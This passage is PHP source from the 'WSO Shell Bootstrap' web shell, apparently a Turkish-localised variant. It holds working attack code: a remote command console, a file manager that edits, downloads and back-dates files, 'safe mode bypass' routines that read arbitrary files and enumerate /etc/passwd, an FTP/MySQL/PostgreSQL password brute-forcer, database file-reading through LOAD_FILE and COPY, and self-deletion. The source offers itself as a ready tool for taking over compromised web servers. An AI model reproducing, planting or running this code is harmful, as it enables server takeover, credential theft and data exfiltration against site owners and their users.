1367 usort($files, "wsoCmp");
1368 usort($dirs, "wsoCmp");
1369 $files = array_merge($dirs, $files);
1370 $l = 0;
1371 foreach($files as $f) {
1372 echo '<tr class="danger"><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
1373 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
1374 $l = $l?0:1;
1375 }
1376 echo "<tr class='action'><td colspan=7>
1377
1378 <input type=hidden name=a value='FilesMan'>
1379 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
1380 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
1381 <select style='color:#d9534f;'name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
1382 if(class_exists('ZipArchive'))
1383 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
1384 echo "<option value='tar'>Compress (tar.gz)</option>";
1385 if(!empty($_SESSION['act']) && @count($_SESSION['f']))
1386 echo "<option value='paste'>Paste / Compress</option>";
1387 echo "</select> ";
1388 if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
1389 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'> ";
1390 echo "<input style='margin-left:3px;' class='btn btn-success btn-xs' type='submit' value='>>'></td></tr></form></table></div>
1391 </div> </div>
1392 ";
1393 wsoFooter();
1394}
1395
1396function actionStringTools() {
1397 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
1398 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
1399 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
1400 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
1401 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
1402 $stringTools = array(
1403 'Base64 encode' => 'base64_encode',
1404 'Base64 decode' => 'base64_decode',
1405 'Url encode' => 'urlencode',
1406 'Url decode' => 'urldecode',
1407 'Full urlencode' => 'full_urlencode',
1408 'md5 hash' => 'md5',
1409 'sha1 hash' => 'sha1',
1410 'crypt' => 'crypt',
1411 'CRC32' => 'crc32',
1412 'ASCII to HEX' => 'ascii2hex',
1413 'HEX to ASCII' => 'hex2ascii',
1414 'HEX to DEC' => 'hexdec',
1415 'HEX to BIN' => 'hex2bin',
1416 'DEC to HEX' => 'dechex',
1417 'DEC to BIN' => 'decbin',
1418 'BIN to HEX' => 'binhex',
1419 'BIN to DEC' => 'bindec',
1420 'String to lower case' => 'strtolower',
1421 'String to upper case' => 'strtoupper',
1422 'Htmlspecialchars' => 'htmlspecialchars',
1423 'String length' => 'strlen',
1424 );
1425 if(isset($_POST['ajax'])) {
1426 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1427 ob_start();
1428 if(in_array($_POST['p1'], $stringTools))
1429 echo $_POST['p1']($_POST['p2']);
1430 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
1431 echo strlen($temp), "\n", $temp;
1432 exit;
1433 }
1434 wsoHeader();
1435 echo '<div class="container-fluid"><span class="label label-default">String conversions</span> <div style="margin-top:4pt;" class="well">';
1436 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1437 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1438 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select style='color:#d9534f;' name='selectTool'>";
1439 foreach($stringTools as $k => $v)
1440 echo "<option style='color:#d9534f;' value='".htmlspecialchars($v)."'>".$k."</option>";
1441 echo "</select><input type='submit' style='margin-left:3px;margin-bottom:3px;' class='btn btn-success btn-xs' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
1442 if(!empty($_POST['p1'])) {
1443 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
1444 }
1445 echo"</pre></div><span class='label label-default'>Search text in files:</span><div style='margin-top:4pt;' class='well'>
1446
1447 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
1448 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
1449 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
1450 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
1451 <tr><td></td><td><input type='submit' value='>>'></td></tr>
1452 </table></form>";
1453
1454 function wsoRecursiveGlob($path) {
1455 if(substr($path, -1) != '/')
1456 $path.='/';
1457 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
1458 if(is_array($paths)&&@count($paths)) {
1459 foreach($paths as $item) {
1460 if(@is_dir($item)){
1461 if($path!=$item)
1462 wsoRecursiveGlob($item);
1463 } else {
1464 if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
1465 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
1466 }
1467 }
1468 }
1469 }
1470 if(@$_POST['p3'])
1471 wsoRecursiveGlob($_POST['c']);
1472
1473 echo "
1474 </div>
1475 <br>
1476 <footer><center><small>Wso Shell Bootstrap © Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
1477 ";
1478}
1479
1480function actionFilesTools() {
1481 if( isset($_POST['p1']) )
1482 $_POST['p1'] = urldecode($_POST['p1']);
1483 if(@$_POST['p2']=='download') {
1484 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
1485 ob_start("ob_gzhandler", 4096);
1486 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
1487 if (function_exists("mime_content_type")) {
1488 $type = @mime_content_type($_POST['p1']);
1489 header("Content-Type: " . $type);
1490 } else
1491 header("Content-Type: application/octet-stream");
1492 $fp = @fopen($_POST['p1'], "r");
1493 if($fp) {
1494 while(!@feof($fp))
1495 echo @fread($fp, 1024);
1496 fclose($fp);
1497 }
1498 }exit;
1499 }
1500 if( @$_POST['p2'] == 'mkfile' ) {
1501 if(!file_exists($_POST['p1'])) {
1502 $fp = @fopen($_POST['p1'], 'w');
1503 if($fp) {
1504 $_POST['p2'] = "edit";
1505 fclose($fp);
1506 }
1507 }
1508 }
1509 wsoHeader();
1510 echo '<div class="container-fluid"><span class="label label-default">File tools</span><br>';
1511 if( !file_exists(@$_POST['p1']) ) {
1512 echo 'File not exists';
1513 wsoFooter();
1514 return;
1515 }
1516 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
1517 if(!$uid) {
1518 $uid['name'] = @fileowner($_POST['p1']);
1519 $gid['name'] = @filegroup($_POST['p1']);
1520 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
1521 echo '<div style="margin-top:4pt;" class="well"><span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
1522 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br></div>';
1523 if( empty($_POST['p2']) )
1524 $_POST['p2'] = 'view';
1525 if( is_file($_POST['p1']) )
1526 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
1527 else
1528 $m = array('Chmod', 'Rename', 'Touch');
1529 foreach($m as $v)
1530 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
1531 echo '<br><br>';
1532 switch($_POST['p2']) {
1533 case 'view':
1534 echo '<pre class=ml1>';
1535 $fp = @fopen($_POST['p1'], 'r');
1536 if($fp) {
1537 while( !@feof($fp) )
1538 echo htmlspecialchars(@fread($fp, 1024));
1539 @fclose($fp);
1540 }
1541 echo '</pre>';
1542 break;
1543 case 'highlight':
1544 if( @is_readable($_POST['p1']) ) {
1545 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
1546 $code = @highlight_file($_POST['p1'],true);
1547 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
1548 }
1549 break;
1550 case 'chmod':
1551 if( !empty($_POST['p3']) ) {
1552 $perms = 0;
1553 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
1554 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
1555 if(!@chmod($_POST['p1'], $perms))
1556 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
1557 }
1558 clearstatcache();
1559 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
1560 break;
1561 case 'edit':
1562 if( !is_writable($_POST['p1'])) {
1563 echo 'File isn\'t writeable';
1564 break;
1565 }
1566 if( !empty($_POST['p3']) ) {
1567 $time = @filemtime($_POST['p1']);
1568 $_POST['p3'] = substr($_POST['p3'],1);
1569 $fp = @fopen($_POST['p1'],"w");
1570 if($fp) {
1571 @fwrite($fp,$_POST['p3']);
1572 @fclose($fp);
1573 echo 'Saved!<br><script>p3_="";</script>';
1574 @touch($_POST['p1'],$time,$time);
1575 }
1576 }
1577 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1578 $fp = @fopen($_POST['p1'], 'r');
1579 if($fp) {
1580 while( !@feof($fp) )
1581 echo htmlspecialchars(@fread($fp, 1024));
1582 @fclose($fp);
1583 }
1584 echo '</textarea><input type=submit style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" value=">>"></form>';
1585 break;
1586 case 'hexdump':
1587 $c = @file_get_contents($_POST['p1']);
1588 $n = 0;
1589 $h = array('00000000<br>','','');
1590 $len = strlen($c);
1591 for ($i=0; $i<$len; ++$i) {
1592 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
1593 switch ( ord($c[$i]) ) {
1594 case 0: $h[2] .= ' '; break;
1595 case 9: $h[2] .= ' '; break;
1596 case 10: $h[2] .= ' '; break;
1597 case 13: $h[2] .= ' '; break;
1598 default: $h[2] .= $c[$i]; break;
1599 }
1600 $n++;
1601 if ($n == 32) {
1602 $n = 0;
1603 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
1604 $h[1] .= '<br>';
1605 $h[2] .= "\n";
1606 }
1607 }
1608 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
1609 break;
1610 case 'rename':
1611 if( !empty($_POST['p3']) ) {
1612 if(!@rename($_POST['p1'], $_POST['p3']))
1613 echo 'Can\'t rename!<br>';
1614 else
1615 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
1616 }
1617 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" value=">>"></form>';
1618 break;
1619 case 'touch':
1620 if( !empty($_POST['p3']) ) {
1621 $time = strtotime($_POST['p3']);
1622 if($time) {
1623 if(!touch($_POST['p1'],$time,$time))
1624 echo 'Fail!';
1625 else
1626 echo 'Touched!';
1627 } else echo 'Bad time format!';
1628 }
1629 clearstatcache();
1630 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" value=">>"></form>';
1631 break;
1632 }
1633 echo '</div>';
1634 wsoFooter();
1635}
1636
1637function actionSafeMode() {
1638 $temp='';
1639 ob_start();
1640 switch($_POST['p1']) {
1641 case 1:
1642 $temp=@tempnam($test, 'cx');
1643 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
1644 echo @file_get_contents($temp);
1645 unlink($temp);
1646 } else
1647 echo 'Sorry... Can\'t open file';
1648 break;
1649 case 2:
1650 $files = glob($_POST['p2'].'*');
1651 if( is_array($files) )
1652 foreach ($files as $filename)
1653 echo $filename."\n";
1654 break;
1655 case 3:
1656 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
1657 curl_exec($ch);
1658 break;
1659 case 4:
1660 ini_restore("safe_mode");
1661 ini_restore("open_basedir");
1662 include($_POST['p2']);
1663 break;
1664 case 5:
1665 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
1666 $uid = @posix_getpwuid($_POST['p2']);
1667 if ($uid)
1668 echo join(':',$uid)."\n";
1669 }
1670 break;
1671 }
1672 $temp = ob_get_clean();
1673 wsoHeader();
1674 echo '<div class="container-fluid"><span class="label label-default">Safe mode bypass</span>
1675 <div style="margin-top:4pt;" class="well"> ';
1676 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" type=submit value=">>"></form>';
1677 if($temp)
1678 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
1679 echo '</div></div>';
1680 echo "
1681 <br>
1682 <footer><center><small>Wso Shell Bootstrap © Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
1683 ";
1684}
1685
1686function actionConsole() {
1687 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
1688 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
1689 $_POST['p1'] .= ' 2>&1';
1690 } elseif(!empty($_POST['p1']))
1691 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
1692
1693 if(isset($_POST['ajax'])) {
1694 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1695 ob_start();
1696 echo "d.cf.cmd.value='';\n";
1697 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
1698 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1699 if(@chdir($match[1])) {
1700 $GLOBALS['cwd'] = @getcwd();
1701 echo "c_='".$GLOBALS['cwd']."';";
1702 }
1703 }
1704 echo "d.cf.output.value+='".$temp."';";
1705 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1706 $temp = ob_get_clean();
1707 echo strlen($temp), "\n", $temp;
1708 exit;
1709 }
1710 wsoHeader();
1711 echo "<script>
1712if(window.Event) window.captureEvents(Event.KEYDOWN);
1713var cmds = new Array('');
1714var cur = 0;
1715function kp(e) {
1716 var n = (window.Event) ? e.which : e.keyCode;
1717 if(n == 38) {
1718 cur--;
1719 if(cur>=0)
1720 document.cf.cmd.value = cmds[cur];
1721 else
1722 cur++;
1723 } else if(n == 40) {
1724 cur++;
1725 if(cur < cmds.length)
1726 document.cf.cmd.value = cmds[cur];
1727 else
1728 cur--;
1729 }
1730}
1731function add(cmd) {
1732 cmds.pop();
1733 cmds.push(cmd);
1734 cmds.push('');
1735 cur = cmds.length-1;
1736}
1737
1738</script>";
1739 echo '<div class="container-fluid"><span class="label label-default">Console</span>
1740 <div style="margin-top:4pt;" class="well">
1741 <form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1742 foreach($GLOBALS['aliases'] as $n => $v) {
1743 if($v == '') {
1744 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1745 continue;
1746 }
1747 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1748 }
1749 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1750 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1751 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea name=output style="border-bottom:0;margin:0;width:100%;height:250px;" readonly>';
1752 if(!empty($_POST['p1'])) {
1753 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1754 }
1755 echo '</textarea><table> <tr><td width="1%"><i class="fa fa-usd"></i> </td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1756 echo '</form></div><script>d.cf.cmd.focus();</script></div></div>';
1757 echo "
1758 <footer><center><small>Wso Shell Bootstrap © Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
1759 ";
1760}
1761
1762function actionLogout() {
1763 wsoHeader();
1764 session_destroy();
1765 echo '
1766<meta http-equiv="refresh" content="5;URL='.$_SERVER['PHP_SELF'].'">
1767
1768 <div class="container" >
1769<div align="center">
1770<img src="http://i.hizliresim.com/bDRW30.gif">
1771</div><br>
1772<div class="row">
1773<div class="col-md-4"></div>
1774<div class="col-md-4">
1775<div class="alert alert-dismissible alert-info">
1776 <h4>Good Bye Hekır </h4>
1777 <p class="text-danger">
1778
1779 Bidaha Görüsmemek Uzere <i class="fa fa-frown-o"></i>
1780 </p>
1781 <p class="text-primary">
1782 Seni 5 Saniye İçinde Uğurluyoruz.</i>
1783 </p>
1784</div>
1785<div id="myProgress">
1786 <div id="myBar"></div>
1787</div>
1788<div class="col-md-4"></div>
1789</div>
1790</div>
1791</div>
1792<br><br>
1793 ';
1794
1795
1796
1797}
1798
1799function actionSelfRemove() {
1800
1801 if($_POST['p1'] == 'yes')
1802 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1803 die('Shell has been removed');
1804 else
1805 echo 'unlink error!';
1806 if($_POST['p1'] != 'yes')
1807 wsoHeader();
1808 echo '<div class="container-fluid"><span class="label label-default">Shelli Kaldır</span>
1809 <div style="margin-top:4pt;" class="well">Kaldırmak İstedinden Emin Mİsin?<br><a href=# style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs"onclick="g(null,null,\'yes\')">Evet</a></div></div>';
1810 echo "
1811 <footer><center><small>Wso Shell Bootstrap © Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
1812 ";
1813}
1814
1815function actionBruteforce() {
1816 wsoHeader();
1817 if( isset($_POST['proto']) ) {
1818 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1819 if( $_POST['proto'] == 'ftp' ) {
1820 function bruteForce($ip,$port,$login,$pass) {
1821 $fp = @ftp_connect($ip, $port?$port:21);
1822 if(!$fp) return false;
1823 $res = @ftp_login($fp, $login, $pass);
1824 @ftp_close($fp);
1825 return $res;
1826 }
1827 } elseif( $_POST['proto'] == 'mysql' ) {
1828 function bruteForce($ip,$port,$login,$pass) {
1829 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1830 @mysql_close($res);
1831 return $res;
1832 }
1833 } elseif( $_POST['proto'] == 'pgsql' ) {
1834 function bruteForce($ip,$port,$login,$pass) {
1835 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1836 $res = @pg_connect($str);
1837 @pg_close($res);
1838 return $res;
1839 }
1840 }
1841 $success = 0;
1842 $attempts = 0;
1843 $server = explode(":", $_POST['server']);
1844 if($_POST['type'] == 1) {
1845 $temp = @file('/etc/passwd');
1846 if( is_array($temp) )
1847 foreach($temp as $line) {
1848 $line = explode(":", $line);
1849 ++$attempts;
1850 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1851 $success++;
1852 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1853 }
1854 if(@$_POST['reverse']) {
1855 $tmp = "";
1856 for($i=strlen($line[0])-1; $i>=0; --$i)
1857 $tmp .= $line[0][$i];
1858 ++$attempts;
1859 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1860 $success++;
1861 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1862 }
1863 }
1864 }
1865 } elseif($_POST['type'] == 2) {
1866 $temp = @file($_POST['dict']);
1867 if( is_array($temp) )
1868 foreach($temp as $line) {
1869 $line = trim($line);
1870 ++$attempts;
1871 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1872 $success++;
1873 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1874 }
1875 }
1876 }
1877 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1878 }
1879 echo '<div class="container-fluid"><span class="label label-default">FTP bruteforce</span><div style="margin-top:4pt;" class="well"><table><form method=post><tr><td><span>Type</span></td>'
1880 .'<td><select style="color:#d9534f;" name=proto><option style="color:#d9534f;" value=ftp>FTP</option><option style="color:#d9534f;" value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1881 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1882 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1883 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1884 .'<span>Server:port</span></td>'
1885 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1886 .'<tr><td><span>Brute type</span></td>'
1887 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1888 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1889 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1890 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1891 .'<td><input type=text name=login value="root"></td></tr>'
1892 .'<tr><td><span>Dictionary</span></td>'
1893 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1894 .'</td></tr><tr><td></td><td><input type=submit style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" value=">>"></td></tr></form></table>';
1895 echo '</div></div><br>';
1896 echo "
1897 <footer><center><small>Wso Shell Bootstrap © Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
1898 ";
1899}
1900
1901function actionSql() {
1902 class DbClass {
1903 var $type;
1904 var $link;
1905 var $res;
1906 function DbClass($type) {
1907 $this->type = $type;
1908 }
1909 function connect($host, $user, $pass, $dbname){
1910 switch($this->type) {
1911 case 'mysql':
1912 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1913 break;
1914 case 'pgsql':
1915 $host = explode(':', $host);
1916 if(!$host[1]) $host[1]=5432;
1917 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1918 break;
1919 }
1920 return false;
1921 }
1922 function selectdb($db) {
1923 switch($this->type) {
1924 case 'mysql':
1925 if (@mysql_select_db($db))return true;
1926 break;
1927 }
1928 return false;
1929 }
1930 function query($str) {
1931 switch($this->type) {
1932 case 'mysql':
1933 return $this->res = @mysql_query($str);
1934 break;
1935 case 'pgsql':
1936 return $this->res = @pg_query($this->link,$str);
1937 break;
1938 }
1939 return false;
1940 }
1941 function fetch() {
1942 $res = func_num_args()?func_get_arg(0):$this->res;
1943 switch($this->type) {
1944 case 'mysql':
1945 return @mysql_fetch_assoc($res);
1946 break;
1947 case 'pgsql':
1948 return @pg_fetch_assoc($res);
1949 break;
1950 }
1951 return false;
1952 }
1953 function listDbs() {
1954 switch($this->type) {
1955 case 'mysql':
1956 return $this->query("SHOW databases");
1957 break;
1958 case 'pgsql':
1959 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1960 break;
1961 }
1962 return false;
1963 }
1964 function listTables() {
1965 switch($this->type) {
1966 case 'mysql':
1967 return $this->res = $this->query('SHOW TABLES');
1968 break;
1969 case 'pgsql':
1970 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1971 break;
1972 }
1973 return false;
1974 }
1975 function error() {
1976 switch($this->type) {
1977 case 'mysql':
1978 return @mysql_error();
1979 break;
1980 case 'pgsql':
1981 return @pg_last_error();
1982 break;
1983 }
1984 return false;
1985 }
1986 function setCharset($str) {
1987 switch($this->type) {
1988 case 'mysql':
1989 if(function_exists('mysql_set_charset'))
1990 return @mysql_set_charset($str, $this->link);
1991 else
1992 $this->query('SET CHARSET '.$str);
1993 break;
1994 case 'pgsql':
1995 return @pg_set_client_encoding($this->link, $str);
1996 break;
1997 }
1998 return false;
1999 }
2000 function loadFile($str) {
2001 switch($this->type) {
2002 case 'mysql':
2003 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
2004 break;
2005 case 'pgsql':
2006 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
2007 $r=array();
2008 while($i=$this->fetch())
2009 $r[] = $i['file'];
2010 $this->query('drop table wso2');
2011 return array('file'=>implode("\n",$r));
2012 break;
2013 }
2014 return false;
2015 }
2016 function dump($table, $fp = false) {
2017 switch($this->type) {
2018 case 'mysql':
2019 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
2020 $create = mysql_fetch_array($res);
2021 $sql = $create[1].";\n";
